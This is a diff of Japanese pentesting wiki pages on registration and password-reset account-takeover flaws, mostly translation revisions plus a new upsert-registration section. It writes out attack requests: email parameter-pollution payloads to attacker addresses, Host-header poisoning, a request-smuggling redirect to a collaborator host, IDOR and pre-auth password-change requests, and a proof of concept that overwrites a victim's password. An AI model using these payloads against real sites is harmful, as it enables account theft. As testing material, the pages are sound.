diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index c3265f955..96178c521 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -1,4 +1,4 @@ -# 登録および乗っ取りの脆弱性 +# 登録とアカウント乗っ取りの脆弱性 {{#include ../banners/hacktricks-training.md}} @@ -6,72 +6,74 @@ ### 重複登録 -- 既存のユーザー名を使用して生成を試みる -- メールアドレスを変えて確認する: -- 大文字 +- 既存の username を使って生成してみる +- email を変えて試す: +- 大文字化 - \+1@ -- メールにドットを追加する -- メール名に特殊文字 (%00, %09, %20) -- メールの後に黒い文字を入れる: `test@test.com a` +- email にドットを追加する +- email 名に特殊文字を入れる (%00, %09, %20) +- email の後に空白文字を置く: `test@test.com a` - victim@gmail.com@attacker.com - victim@attacker.com@gmail.com ### ユーザー名列挙 -アプリケーション内でユーザー名がすでに登録されているかどうかを確認する。 +アプリ内でユーザー名が既に登録されているかどうかを判別できるか確認する。 ### パスワードポリシー -ユーザーを作成する際にパスワードポリシーを確認する（弱いパスワードを使用できるか確認する）。\ -その場合、資格情報をブルートフォースすることを試みるかもしれない。 +ユーザー作成時にパスワードポリシーを確認する（弱いパスワードが使えるかをチェック）。\ +その場合、credentials の bruteforce を試みることができる。 -### SQLインジェクション +### SQL Injection -[**このページを確認**](sql-injection/index.html#insert-statement)して、アカウントの乗っ取りを試みたり、**SQLインジェクション**を通じて情報を抽出する方法を学ぶ。 +[**Check this page** ](sql-injection/index.html#insert-statement)で、登録フォームでの **SQL Injections** を使ったアカウント乗っ取りや情報抽出の方法を学ぶ。 + +### Oauth 乗っ取り -### Oauth乗っ取り {{#ref}} oauth-to-account-takeover.md {{#endref}} -### SAML脆弱性 +### SAML の脆弱性 + {{#ref}} saml-attacks/ {{#endref}} -### メール変更 +### メールアドレスの変更 -登録後、メールを変更して、この変更が正しく検証されるか、任意のメールに変更できるか確認する。 +登録後、メールアドレスを変更して、この変更が正しく検証されるか、任意のメールアドレスに変更できるかを確認する。 ### その他のチェック -- **使い捨てメール**を使用できるか確認する -- **長い** **パスワード** (>200) は **DoS** を引き起こす +- **使い捨てメール** が使えるか確認する +- **長い** **パスワード** (>200) が **DoS** を引き起こす - **アカウント作成のレート制限を確認する** -- username@**burp_collab**.net を使用し、**コールバック**を分析する +- username@**burp_collab**.net を使って **callback** を解析する -## **パスワードリセット乗っ取り** +## **Password Reset Takeover** -### リファラー経由のパスワードリセットトークン漏洩 +### Password Reset Token Leak Via Referrer -1. 自分のメールアドレスにパスワードリセットをリクエストする +1. パスワードリセットを自分の email アドレスにリクエストする 2. パスワードリセットリンクをクリックする -3. パスワードを変更しない -4. 3rdパーティのウェブサイト（例: Facebook, Twitter）をクリックする -5. Burp Suiteプロキシでリクエストを傍受する -6. リファラーヘッダーがパスワードリセットトークンを漏洩しているか確認する。 +3. パスワードは変更しない +4. 任意のサードパーティサイト（例: Facebook, twitter）をクリックする +5. Burp Suite の proxy でリクエストを傍受する +6. referer header が password reset token を leak しているか確認する。 -### パスワードリセットポイズニング +### Password Reset Poisoning -1. Burp Suiteでパスワードリセットリクエストを傍受する -2. Burp Suiteで次のヘッダーを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` -3. 修正されたヘッダーでリクエストを転送する\ +1. Burp Suite でパスワードリセット要求を傍受する +2. Burp Suite で以下のヘッダを追加または編集する: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` +3. 修正ヘッダーでリクエストを転送する\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` -4. _hostヘッダー_に基づいたパスワードリセットURLを探す: `https://attacker.com/reset-password.php?token=TOKEN` +4. _host header_ に基づくパスワードリセットURL（例: `https://attacker.com/reset-password.php?token=TOKEN`）を探す -### メールパラメータ経由のパスワードリセット +### Password Reset Via Email Parameter ```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` -### IDOR on API Parameters +### APIパラメータ上の IDOR -1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動する必要があります。 -2. Burp Suiteを起動し、リクエストをインターセプトします。 -3. リピータタブに送信し、パラメータを編集します：ユーザーID/メール\ +1. 攻撃者は自分のアカウントでログインし、**Change password** 機能に移動する必要がある。 +2. Burp Suiteを起動してリクエストをInterceptする +3. Repeaterタブに送ってパラメータを編集する : User ID/email\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` -### Weak Password Reset Token +### 弱い Password Reset Token -パスワードリセットトークンは毎回ランダムに生成され、一意であるべきです。\ -トークンが期限切れになるか、常に同じかを確認してください。場合によっては、生成アルゴリズムが弱く、推測可能です。以下の変数がアルゴリズムによって使用される可能性があります。 +password reset token は毎回ランダムに生成され、一意であるべきである。\ +トークンが期限切れになるか、常に同じかを確認してみる。場合によっては生成アルゴリズムが弱く推測可能なことがある。アルゴリズムで以下の変数が使われている可能性がある。 -- タイムスタンプ -- ユーザーID -- ユーザーのメール -- 名と姓 -- 生年月日 -- 暗号化 -- 数字のみ -- 小さなトークンシーケンス（文字は\[A-Z,a-z,0-9]の間） -- トークンの再利用 -- トークンの有効期限 +- Timestamp +- UserID +- Email of User +- Firstname and Lastname +- Date of Birth +- Cryptography +- Number only +- Small token sequence ( characters between \[A-Z,a-z,0-9]) +- Token reuse +- Token expiration date -### Leaking Password Reset Token +### パスワードリセットトークンのleak -1. 特定のメール（例：test@mail.com）を使用してAPI/UIからパスワードリセットリクエストをトリガーします。 -2. サーバーの応答を検査し、`resetToken`を確認します。 -3. 次に、トークンをURLに使用します：`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` +1. API/UIを使って特定のメール（例: test@mail.com）に対してpassword resetリクエストを発行する +2. サーバーのレスポンスを確認し、`resetToken` をチェックする +3. その後、次のようなURLでトークンを使用する: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` -### Password Reset Via Username Collision +### ユーザー名衝突によるパスワードリセット -1. 被害者のユーザー名と同じユーザー名でシステムに登録しますが、ユーザー名の前後に空白を挿入します。例：`"admin "` -2. 悪意のあるユーザー名でパスワードリセットをリクエストします。 -3. あなたのメールに送信されたトークンを使用して被害者のパスワードをリセットします。 -4. 新しいパスワードで被害者のアカウントに接続します。 +1. 被害者のユーザー名と同一だが、先頭や末尾に空白を入れたユーザー名でシステムに登録する。例: `"admin "` +2. 悪意あるユーザー名でpassword resetを要求する。 +3. 自分のメールに送られてきたトークンを使って被害者のパスワードをリセットする。 +4. 新しいパスワードで被害者アカウントに接続する。 -プラットフォームCTFdはこの攻撃に対して脆弱でした。\ -参照：[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) +プラットフォーム CTFd はこの攻撃に対して脆弱でした。\ +See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -### Account Takeover Via Cross Site Scripting +### Cross Site Scripting によるアカウント乗っ取り -1. アプリケーション内またはサブドメイン内でXSSを見つけます。クッキーが親ドメインにスコープされている場合：`*.domain.com` -2. 現在の**セッションクッキー**を漏洩させます。 -3. クッキーを使用してユーザーとして認証します。 +1. アプリケーション内、またはクッキーが親ドメインにスコープされている場合はサブドメイン内で XSS を見つける : `*.domain.com` +2. 現在の **sessions cookie** をleakする +3. そのcookieを使ってユーザーとして認証する -### Account Takeover Via HTTP Request Smuggling +### HTTP Request Smuggling によるアカウント乗っ取り -1\. **smuggler**を使用してHTTPリクエストスムーグリングのタイプ（CL、TE、CL.TE）を検出します。\ +1. **smuggler** を使って HTTP Request Smuggling のタイプを検出する (CL, TE, CL.TE)\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ -2\. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します：\ -`GET http://something.burpcollaborator.net HTTP/1.1 X:` 被害者をburpcollabにオープンリダイレクトし、クッキーを盗むことを目的としています。\ -3\. 最終リクエストは次のようになる可能性があります。 +2. 次のデータで `POST / HTTP/1.1` を上書きするリクエストを作成する:\ +`GET http://something.burpcollaborator.net HTTP/1.1 X:` — 目的は victims を burpcollab に open redirect して cookies を盗むこと +3. 最終的なリクエストは次のようになる可能性がある： ``` GET / HTTP/1.1 Transfer-Encoding: chunked @@ -151,29 +153,50 @@ Content-Length: 83 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` -Hackeroneはこのバグを悪用した報告をしています\ +Hackerone はこのバグが悪用されたと報告しています\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) -### CSRFによるアカウント乗っ取り +### CSRF によるアカウント乗っ取り -1. CSRF用のペイロードを作成します。例: “パスワード変更のための自動送信HTMLフォーム” -2. ペイロードを送信します +1. CSRF のペイロードを作成する、例: “HTML form with auto submit for a password change” +2. ペイロードを送信する -### JWTによるアカウント乗っ取り +### JWT によるアカウント乗っ取り -JSON Web Tokenはユーザーを認証するために使用されることがあります。 +JSON Web Token はユーザ認証に使われている場合があります。 -- 別のユーザーID / メールでJWTを編集します -- 弱いJWT署名を確認します +- JWT の User ID / Email を別のものに編集する +- 弱い JWT 署名がないか確認する {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} +## Registration-as-Reset（既存メールでの Upsert） + +一部の signup ハンドラは、提供された email が既に存在する場合に upsert を行います。endpoint が email と password の最小限のボディを受け入れ、所有権検証を強制しない場合、被害者の email を送信すると認証前にそのパスワードが上書きされます。 + +- Discovery: bundled JS（またはモバイルアプリのトラフィック）から endpoint 名を収集し、/parents/application/v4/admin/FUZZ のようなベースパスを ffuf/dirsearch で fuzz する。 +- Method hints: GET が "Only POST request is allowed." のようなメッセージを返す場合、正しい verb が示されており、JSON ボディが期待されていることが多い。 +- 実際に観測された最小限のボディ: +```json +{"email":"victim@example.com","password":"New@12345"} +``` +PoC の例: +```http +POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 +Host: www.target.tld +Content-Type: application/json + +{"email":"victim@example.com","password":"New@12345"} +``` +影響: reset token、OTP、または email verification を必要とせずに、Full Account Takeover (ATO) を完全に達成できる。 + ## 参考文献 +- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 7f01fbebd..490cb7a0b 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -4,9 +4,9 @@ ## **Password Reset Token Leak Via Referrer** -- The HTTP referer headerは、URLにパスワードリセットトークンが含まれている場合にそのトークンをleakする可能性があります。これは、ユーザーがパスワードリセットを要求した後にサードパーティのウェブサイトのリンクをクリックしたときに発生する可能性があります。 -- **Impact**: Cross-Site Request Forgery (CSRF) 攻撃を介した潜在的なアカウント乗っ取り。 -- **Exploitation**: referer header内でパスワードリセットトークンがleakしているか確認するには、あなたのメールアドレスに対して**password resetをリクエスト**し、提供された**reset linkをクリック**します。**パスワードをすぐに変更しないでください**。代わりに、**Burp Suiteを使ってリクエストをインターセプトしながら**、**FacebookやTwitterなどのサードパーティのウェブサイトに移動**します。リクエストを検査して、**referer headerがパスワードリセットトークンを含んでいるか**を確認してください。これは機密情報がサードパーティに公開される可能性があります。 +- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset. +- **Impact**: Cross-Site Request Forgery (CSRF) 攻撃によるアカウント乗っ取りの可能性。 +- **Exploitation**: パスワードリセットトークンが referer header で leak しているかを確認するには、自分のメールアドレスに対してパスワード再設定をリクエストし、送られてきたリセットリンクをクリックします。すぐにパスワードを変更せず、代わりに Burp Suite を使ってリクエストをインターセプトしながら Facebook や Twitter といったサードパーティのサイトに移動してください。リクエストを確認して、referer header がパスワードリセットトークンを含んでいるかどうかを確かめます。これにより機密情報が第三者に露出する可能性があります。 - **References**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) @@ -15,11 +15,11 @@ ## **Password Reset Poisoning** - Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site. -- **Impact**: reset tokensを攻撃者にleakingすることで潜在的なアカウント乗っ取りにつながる。 +- **Impact**: リセットトークンが攻撃者に leaking されることで、アカウント乗っ取りの可能性につながります。 - **Mitigation Steps**: -- Host headerを許可ドメインのホワイトリストと照合して検証する。 -- 絶対URLを生成する際は、サーバー側の安全な方法を使用する。 -- **Patch**: `$_SERVER['SERVER_NAME']` を使用してパスワードリセットURLを構築し、`$_SERVER['HTTP_HOST']` を使用しない。 +- Host header を許可されたドメインのホワイトリストと照合して検証する。 +- 絶対 URL を生成する際は、安全なサーバーサイドの方法を使用する。 +- **Patch**: password reset URLs を構築する際に `$_SERVER['HTTP_HOST']` の代わりに `$_SERVER['SERVER_NAME']` を使用する。 - **References**: - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) @@ -27,152 +27,152 @@ Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. -- & を使って攻撃者のメールアドレスを2番目のパラメータとして追加する +- & を使って攻撃者のメールアドレスを2つ目のパラメータとして追加する ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` -- 攻撃者のメールアドレスを2番目のパラメータとして追加し、%20を使用する +- %20 を使用して攻撃者のメールアドレスを2番目のパラメータとして追加する ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` -- | を使って attacker email を2番目のパラメータとして追加する +- パイプ(|)で攻撃者のメールアドレスを2番目のパラメータとして追加する ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- attacker email を cc を使って2番目のパラメータとして追加する +- 攻撃者のメールアドレスを cc を使って2番目のパラメータとして追加する ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` -- 攻撃者のメールアドレスを2番目のパラメータとして、bccを使って追加する +- attacker のメールアドレスを2番目のパラメータとして bcc で追加する ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` -- attacker email を2番目のパラメータとして追加し、 +- 2番目のパラメータとして attacker email を "," を使って追加する ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` -- json array の2番目のパラメータとして attacker email を追加する +- json配列の2番目のパラメータとして攻撃者のメールを追加する ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **緩和手順**: -- email パラメータをサーバー側で適切に解析・検証すること。 -- prepared statements または parameterized queries を使用して、injection attacks を防ぐこと。 -- **References**: +- サーバー側で email パラメータを適切に解析・検証する。 +- injection attacks を防ぐために prepared statements または parameterized queries を使用する。 +- **参考**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) -## **API Parameters を介して任意のユーザーの Email と Password を変更する** +## **API パラメータを介した任意ユーザーの Email と Password の変更** -- 攻撃者は API リクエスト内の email および password パラメータを改変してアカウントの認証情報を変更できる。 +- 攻撃者は API リクエスト内の email および password パラメータを改変して、アカウントの認証情報を変更できる。 ```php POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` -- **緩和策**: +- **緩和手順**: - パラメータの厳密な検証と認証チェックを実施する。 -- 疑わしいアクティビティを検出して対応できるよう、堅牢なログ記録と監視を実装する。 +- 不審な活動を検出・対応するための堅牢なログ記録と監視を実装する。 - **Reference**: - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) -## **No Rate Limiting: Email Bombing** +## **レート制限なし: Email Bombing** -- パスワードリセット要求に対するレート制限がないと、email bombing を招き、ユーザに大量のリセットメールが届いてしまう可能性がある。 -- **緩和策**: -- IPアドレスやユーザアカウントに基づくレート制限を実装する。 -- 自動化された濫用を防ぐために CAPTCHA を利用する。 +- パスワードリセット要求に対するレート制限がないと、Email Bombingにつながり、ユーザーがリセットメールで圧倒される可能性がある。 +- **緩和手順**: +- IPアドレスやユーザーアカウントに基づくレート制限を実装する。 +- 自動化された悪用を防ぐためにCAPTCHAを使用する。 - **References**: - [HackerOne Report 280534](https://hackerone.com/reports/280534) ## **Find out How Password Reset Token is Generated** -- トークン生成のパターンや方法を理解すると、トークンの予測や総当たりが可能になる場合がある。考えられる例: -- タイムスタンプベース -- UserID ベース -- ユーザの email ベース -- firstname と lastname ベース -- 生年月日ベース -- 暗号学ベース -- **緩和策**: -- トークン生成には強力な暗号学的手法を使用する。 -- 予測されないよう、十分なランダム性と長さを確保する。 -- **Tools**: トークンのランダム性を解析するために Burp Sequencer を使用する。 +- トークン生成のパターンや方法を理解すると、トークンの予測や総当たり攻撃につながる可能性がある。生成方法の例: +- タイムスタンプに基づく +- UserIDに基づく +- ユーザーのメールアドレスに基づく +- 名と姓に基づく +- 生年月日に基づく +- 暗号的手法に基づく +- **緩和手順**: +- トークン生成には強力な暗号的手法を使用する。 +- 予測を防ぐために十分なランダム性と長さを確保する。 +- **Tools**: Use Burp Sequencer to analyze the randomness of tokens. ## **Guessable UUID** -- UUIDs (version 1) が推測可能または予測可能な場合、攻撃者は有効なリセットトークンを生成するために総当たり攻撃を行う可能性がある。次を確認する: +- UUID（version 1）が推測可能または予測可能な場合、攻撃者はそれらを総当たりして有効なリセットトークンを生成できる可能性がある。確認ポイント: {{#ref}} uuid-insecurities.md {{#endref}} -- **緩和策**: -- ランダム性のために GUID version 4 を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。 -- **Tools**: GUID を解析・生成するために [guidtool](https://github.com/intruder-io/guidtool) を使用する。 +- **緩和手順**: +- ランダム性のためにGUID version 4を使用するか、他のバージョンに対して追加のセキュリティ対策を実装する。 +- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs. ## **Response Manipulation: Replace Bad Response With Good One** -- エラーメッセージや制限を回避するために HTTP レスポンスを操作する行為。 -- **緩和策**: -- レスポンスの整合性を保証するためにサーバー側のチェックを実装する。 -- 中間者攻撃を防ぐために HTTPS のような安全な通信チャネルを使用する。 +- エラーメッセージや制限を回避するためにHTTPレスポンスを操作する。 +- **緩和手順**: +- レスポンスの整合性を確保するためにサーバー側の検証を実装する。 +- 中間者攻撃を防ぐためにHTTPSなどのセキュアな通信チャネルを使用する。 - **Reference**: - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Using Expired Token** -- 期限切れトークンがパスワードリセットにまだ使えるかどうかをテストする。 -- **緩和策**: -- 厳格なトークン有効期限ポリシーを実施し、サーバー側でトークンの期限を検証する。 +- 期限切れのトークンが依然としてパスワードリセットに使用できるかをテストする。 +- **緩和手順**: +- 厳格なトークン有効期限ポリシーを実装し、サーバー側でトークンの有効期限を検証する。 ## **Brute Force Password Reset Token** -- Burpsuite や IP-Rotator のようなツールを使ってリセットトークンを総当たりし、IPベースのレート制限を回避する試み。 -- **緩和策**: +- Burpsuite や IP-Rotator のようなツールを使用して、IPベースのレート制限を回避しつつリセットトークンを総当たり攻撃する。 +- **緩和手順**: - 堅牢なレート制限とアカウントロックアウト機構を実装する。 -- 総当たり攻撃を示す疑わしい活動を監視する。 +- 総当たり攻撃を示す不審な活動を監視する。 ## **Try Using Your Token** -- 攻撃者のリセットトークンを被害者の email と組み合わせて使用できるかをテストする。 -- **緩和策**: -- トークンがユーザセッションや他のユーザ固有の属性に紐付けられるようにする。 +- 攻撃者のリセットトークンが被害者のメールと組み合わせて使用できるかをテストする。 +- **緩和手順**: +- トークンがユーザーセッションやその他のユーザー固有の属性に紐付けられていることを確認する。 ## **Session Invalidation in Logout/Password Reset** -- ユーザがログアウトまたはパスワードをリセットした際にセッションが無効化されることを確認する。 -- **緩和策**: -- 適切なセッション管理を実装し、ログアウトやパスワードリセット時にすべてのセッションを無効化することを保証する。 +- ユーザーがログアウトまたはパスワードをリセットした際にセッションが無効化されることを保証する。 +- **緩和手順**: +- 適切なセッション管理を実装し、ログアウトやパスワードリセット時にすべてのセッションが無効化されるようにする。 ## **Session Invalidation in Logout/Password Reset** -- リセットトークンには、無効化される有効期限が設定されているべきである。 -- **緩和策**: -- リセットトークンに合理的な有効期限を設定し、サーバー側で厳格に強制する。 +- リセットトークンには期限を設定し、その期限後は無効にするべきである。 +- **緩和手順**: +- リセットトークンに適切な有効期限を設定し、サーバー側で厳格に施行する。 ## **OTP rate limit bypass by changing your session** -- サイトが誤った OTP 試行回数をユーザセッションで追跡しており、OTP が弱い（<= 4 桁）場合、実質的に OTP を総当たりできてしまう可能性がある。 +- サイトが誤ったOTP試行をユーザーセッションで追跡しており、OTPが弱い（<= 4 digits）場合、実質的にOTPを総当たりできる。 - **悪用方法**: -- サーバーにブロックされた後に単に新しいセッショントークンを要求する。 -- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!): +- サーバーにブロックされた後、新しいセッショントークンをリクエストするだけ。 +- **例**: この脆弱性を悪用してOTPをランダムに推測するコード（セッションを変更するとOTPも変わるため、連続的な総当たりはできない）: ``` python # Authentication bypass by password reset @@ -233,7 +233,7 @@ print("[+] Attck stopped") ## Arbitrary password reset via skipOldPwdCheck (pre-auth) -Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth. +一部の実装では、skipOldPwdCheck=true を指定して password-change ルーチンを呼び出し、リセットトークンや所有権を検証しない password change アクションを公開していることがある。エンドポイントが change_password のような action パラメータとリクエストボディ内の username/新しいパスワードを受け入れる場合、攻撃者は認証前に任意のアカウントのリセットが可能になる。 Vulnerable pattern (PHP): ```php @@ -255,7 +255,7 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id); } ``` -Exploitation リクエスト (概念): +Exploitation リクエスト（概念）： ```http POST /hub/rpwd.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! ``` 緩和策: -- パスワードを変更する前に、アカウントおよびセッションに紐付いた、期限付きの有効なリセットトークンを必ず要求する。 -- skipOldPwdCheck paths を未認証ユーザーに公開しないこと。通常のパスワード変更では認証を強制し、古いパスワードを検証すること。 -- パスワード変更後は、すべてのアクティブなセッションとリセットトークンを無効化する。 +- パスワードを変更する前に、アカウントとセッションに紐づいた有効期限付きの有効なリセットトークンを常に要求すること。 +- skipOldPwdCheck パスを未認証ユーザーに決して公開しないこと。通常のパスワード変更では認証を強制し、既存のパスワードを検証すること。 +- パスワード変更後はすべてのアクティブなセッションとリセットトークンを無効化すること。 +## Registration-as-Password-Reset (Upsert on Existing Email) + +一部のアプリケーションでは、signup handler を upsert として実装しています。メールアドレスが既に存在する場合、handler はリクエストを拒否する代わりにユーザーレコードを沈黙のうちに更新してしまいます。registration endpoint が既存のメールアドレスと新しいパスワードを含む最小限の JSON ボディを受け付けると、所有権の検証なしに事実上 pre-auth password reset となり、完全なアカウント乗っ取りが可能になります。 + +Pre-auth ATO PoC (overwriting an existing user's password): +```http +POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 +Host: www.target.tld +Content-Type: application/json + +{"email":"victim@example.com","password":"New@12345"} +``` ## 参考文献 - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) {{#include ../banners/hacktricks-training.md}}